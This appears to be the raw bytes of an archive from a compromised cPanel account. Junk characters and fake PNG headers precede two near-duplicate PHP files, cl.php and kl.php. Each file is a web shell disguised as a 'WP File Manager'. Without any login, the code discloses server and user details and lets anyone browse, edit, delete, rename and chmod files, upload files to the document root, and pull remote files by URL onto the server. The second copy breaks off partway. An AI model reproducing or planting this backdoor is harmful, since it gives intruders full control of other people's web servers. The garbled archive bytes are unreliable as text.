👀👀👀第三方你说的你说的歌诗达董娜娜打卡机********64154315405410154 �����ѩ�����һ����dddf2qevf2fv69666 ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PK‘&{]Úщ'BB!academy@drsupernova.com/.metadatanu„[µü¤[calendar] protected 1 displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. type VCALENDAR [addressbook] protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book type VADDRESSBOOK PK‘&{]„N9³§Ë§Ëacademy@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ëacademy@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
